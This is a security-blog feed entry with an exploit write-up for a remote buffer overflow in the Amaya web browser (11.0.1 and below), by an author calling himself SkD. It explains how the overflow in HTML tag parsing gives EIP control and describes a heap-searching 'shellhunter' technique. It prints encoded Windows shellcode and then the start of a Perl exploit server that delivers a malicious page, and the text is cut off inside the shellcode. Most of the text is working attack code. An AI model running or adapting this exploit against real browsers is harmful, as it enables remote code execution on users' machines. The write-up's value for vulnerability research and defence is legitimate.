		<description><![CDATA[Amaya Web Browser &#60;= 11.0.1 Remote Buffer Overflow Exploit Vulnerability discovery &#38; Exploit by SkD We will start with a description of the affected software: Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><strong>Amaya Web Browser &lt;= 11.0.1 Remote Buffer Overflow Exploit</strong></p>
<p style="text-align: center;"><em>Vulnerability discovery &amp; Exploit by SkD</em></p>
<p style="text-align: center;">
<p style="text-align: left;">We will start with a description of the affected software:</p>
<blockquote>
<p style="text-align: left;"><em>Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features in a uniform environment. This follows the original vision of the Web as a space for collaboration and not just a one-way publishing medium.</em></p>
</blockquote>
<p style="text-align: left;">
<p style="text-align: left;">The vulnerability lies in the way Amaya (version 11.0.1 and below) parses HTML tags. Certain tags trigger different vulnerabilites, mostly overflows but each has a different environment for exploitation.</p>
<p style="text-align: left;">I selected that the &#8220;&lt;td nowrap&gt;&#8221; and the &#8220;&lt;title(overflow)&gt;&#8221; tags were the most convenient to use for the exploit.</p>
<p style="text-align: left;">Here is a picture of the debugger&#8217;s state when the buffer overflow occurs with the &#8220;&lt;td nowrap&gt;&#8221; tag:</p>
<p style="text-align: left;"><img class="alignnone size-full wp-image-225" title="i1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i1.bmp" alt="Debugger state after overflow (Amaya)" width="576" height="347" /></p>
<p style="text-align: left;">As we can see the EIP is fully controllable but to exploit the issue there are quite a few problems:</p>
<ul>
<li>The buffer can only have characters from (hex) 0&#215;00 to 0x7f, 0&#215;80 =&gt; and above will corrupt the buffer with uneeded characters so the putting the shellcode and finding return addresses will be a problem.</li>
<li>Registers point at random places except for ESI which can be controlled to point to a specified location with a correct calculation.</li>
<li>Finding a JMP ESP/CALL ESP in one of the Amaya&#8217;s native modules will be hard because none of them include the allowed characters (we want to make it universal).</li>
<li>Heap layout is randomized.</li>
</ul>
<p>Please note that I was working on this on Windows Vista SP1 so it may differ with XP, 2003, etc.</p>
<p>Okay, so what can we do? This won&#8217;t be exploited the normal way with the classic jmp esp or there isn&#8217;t any SEH handlers to exploit so what is there to do? Like I mentioned in the previous list, ESI points to a controllable region in the stack. This region will vary if a calculation for the junk characters is not correct (you will see what I am talking about in the exploit code).  So to combat this problem we must look to the heap for the clean buffer before transformation. Guess what? EDI points close to this but it is random so I cannot just decrease EDI by a static number!  What I did was a similar method to egghunting as in heap overflows but my new method is called, <em><strong>shellhunting</strong></em>. The conclusion is that the shellhunter must be alphanumerical (well, mostly) and it must look for the shellcode in the heap pointed by EDI.</p>
<p>This is a advanced stack overflow exploit which also involves the heap! Please remember that this will only work on Vista SP 1 ( I tested it on XP but different heap layouts again made it a hassle for me to change :) ).</p>
<p>This is the stack and memory when the buffer involves characters over 0&#215;80 (this is the shellcode):</p>
<p><img class="alignnone size-full wp-image-228" title="i2" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i2.bmp" alt="Stack state" /></p>
<p>And here is the shellcode so you can compare!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Very corrupted data, like that we cannot execute anything because of malformed instructions (the decoder for the alphanumerical shellcode will have also no chance to work).  It is clear that the only way will be to look at the heap.</p>
<p>Now I will describe how my shellhunter works!</p>
<ol>
<li>The shellhunter will start as being 98% alphanumerical so it can be successfully executed.</li>
<li>The &#8220;lookout&#8221; values must not cause an exception because we will redirect the execution flow to those values!</li>
<li>It will loop and search the heap for the &#8220;lookout&#8221; values INFRONT of the shellcode.</li>
<li>Once the &#8220;lookout&#8221; values are located, PUSH EDI and then RETN to that address.</li>
</ol>
<p>This is efficient and it will work one-hundred percent on every try the browser parses the HTML page.</p>
<p>You can also see that I am using an addition with the $additionaddr variable, this is because the variable cannot be on the heap next to the corrupted data! So we basicially add a few bytes to the variable in the register EAX that holds the $additionaddr that will turn into the &#8220;lookout&#8221; value so the shellhunter can easily compare data in the heap!</p>
<p>I hope you learned something today ladies and gents! The exploit is included below!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit</span>
<span style="color: #666666; font-style: italic;"># Found/Exploit by SkD (skdrat@hotmail.com)</span>
<span style="color: #666666; font-style: italic;">#                (skd@abysssec.com  )</span>
<span style="color: #666666; font-style: italic;"># -----------------------------------------------</span>
<span style="color: #666666; font-style: italic;"># This is advanced buffer overflow exploitation using</span>
<span style="color: #666666; font-style: italic;"># my new method called shellhunting :)</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Get more information about this at http://abysssec.com</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Exploit works only on a fully patched Vista SP1, but you</span>
<span style="color: #666666; font-style: italic;"># may need to click 'Refresh' to make the shellcode exec</span>
<span style="color: #666666; font-style: italic;"># sometimes.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Note: Author has no responsibility over the damage you do with this!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> strict<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> warnings<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$html</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$port_listen</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">80</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired port!</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$listenip</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;127.0.0.1&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired IP!</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
